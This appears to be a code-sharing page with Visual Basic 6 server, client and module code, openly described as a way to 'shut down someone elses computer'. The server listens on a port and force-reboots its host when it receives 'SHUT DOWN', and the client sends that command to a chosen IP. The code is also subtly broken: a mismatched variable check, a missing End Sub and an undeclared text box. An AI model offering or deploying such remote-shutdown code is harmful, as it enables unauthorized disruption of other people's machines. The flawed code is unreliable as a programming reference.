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• This is a sample of Winsock. This will shut down someone elses computer.

This is a sample of Winsock. This will shut down someone elses computer.

This is a sample of Winsock. This will shut down someone elses computer.

Rate This is a sample of Winsock. This will shut down someone elses computer.

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(2(2 Vote))

Must have Winsock control name Winsock1
Must have Text Box named txtCommand
Must have Text Box named txtPort

Private Sub Form_Load()
txtPort.Text = Winsock1.LocalPort
If txtPort.Text = "0" Then
txtPort.Text = "10101"
End If
Winsock1.LocalPort = txtPort.Text

txtIP.Text = Winsock1.LocalIP
Winsock1.Listen
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strCommand As String

Winsock1.GetData strCommand

If txtCommand.Text = "SHUT DOWN" Then
AdjustToken
ExitWindowsEx (EWX_SHUTDOWN Or EWX_FORCE Or EWX_REBOOT), &HFFFF
End If

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub

Client Project
Must have Winsock control name wnsCommand
Must have Text Box named txtIP
Must have Text Box named txtPort
Must have Text Box named txtCommand

Private Sub cmdShutdown_Click()
Dim strCommand As String
txtCommand.Text = "SHUT DOWN"

strCommand = txtCommand.Text
wnsCommand.SendData strCommand
DoEvents
End Sub


Private Sub cmdConnect_Click()
wnsCommand.RemoteHost = txtIP.Text
wnsCommand.RemotePort = txtPort.Text
wnsCommand.Connect

cmdConnect.Visible = False
cmdDisconnect.Visible = True
End Sub

Private Sub cmdDisconnect_Click()
wnsCommand.Close
cmdConnect.Visible = True
cmdDisconnect.Visible = False
End Sub

Module
      Option Explicit

      Public Type LUID
         UsedPart As Long
         IgnoredForNowHigh32BitPart As Long
      End Type

      Public Type TOKEN_PRIVILEGES
         PrivilegeCount As Long
         TheLuid As LUID
         Attributes As Long
      End Type

      Const EWX_SHUTDOWN As Long = 1
      Const EWX_FORCE As Long = 4
      Const EWX_REBOOT = 2

      Declare Function ExitWindowsEx Lib "USER32" ( _
         ByVal dwOptions As Long, ByVal dwReserved As Long) As Long

      Declare Function GetCurrentProcess Lib "kernel32" () As Long
      Declare Function OpenProcessToken Lib "advapi32" ( _
         ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, _
         TokenHandle As Long) As Long
      Public Declare Function LookupPrivilegeValue Lib "advapi32" _
         Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, _
         ByVal lpName As String, lpLuid As LUID) As Long
      Public Declare Function AdjustTokenPrivileges Lib "advapi32" ( _
         ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, _
         NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, _
         PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long

      Public Sub AdjustToken()

         Const TOKEN_ADJUST_PRIVILEGES = &H20
         Const TOKEN_QUERY = &H8
         Const SE_PRIVILEGE_ENABLED = &H2
         Dim hdlProcessHandle As Long
         Dim hdlTokenHandle As Long
         Dim tmpLuid As LUID
         Dim tkp As TOKEN_PRIVILEGES
         Dim tkpNewButIgnored As TOKEN_PRIVILEGES
         Dim lBufferNeeded As Long

         hdlProcessHandle = GetCurrentProcess()
         OpenProcessToken hdlProcessHandle, (TOKEN_ADJUST_PRIVILEGES Or _
            TOKEN_QUERY), hdlTokenHandle

         LookupPrivilegeValue "", "SeShutdownPrivilege", tmpLuid

         tkp.PrivilegeCount = 1
         tkp.TheLuid = tmpLuid
         tkp.Attributes = SE_PRIVILEGE_ENABLED

         AdjustTokenPrivileges hdlTokenHandle, False, tkp, _
            Len(tkpNewButIgnored), tkpNewButIgnored, lBufferNeeded

      End Sub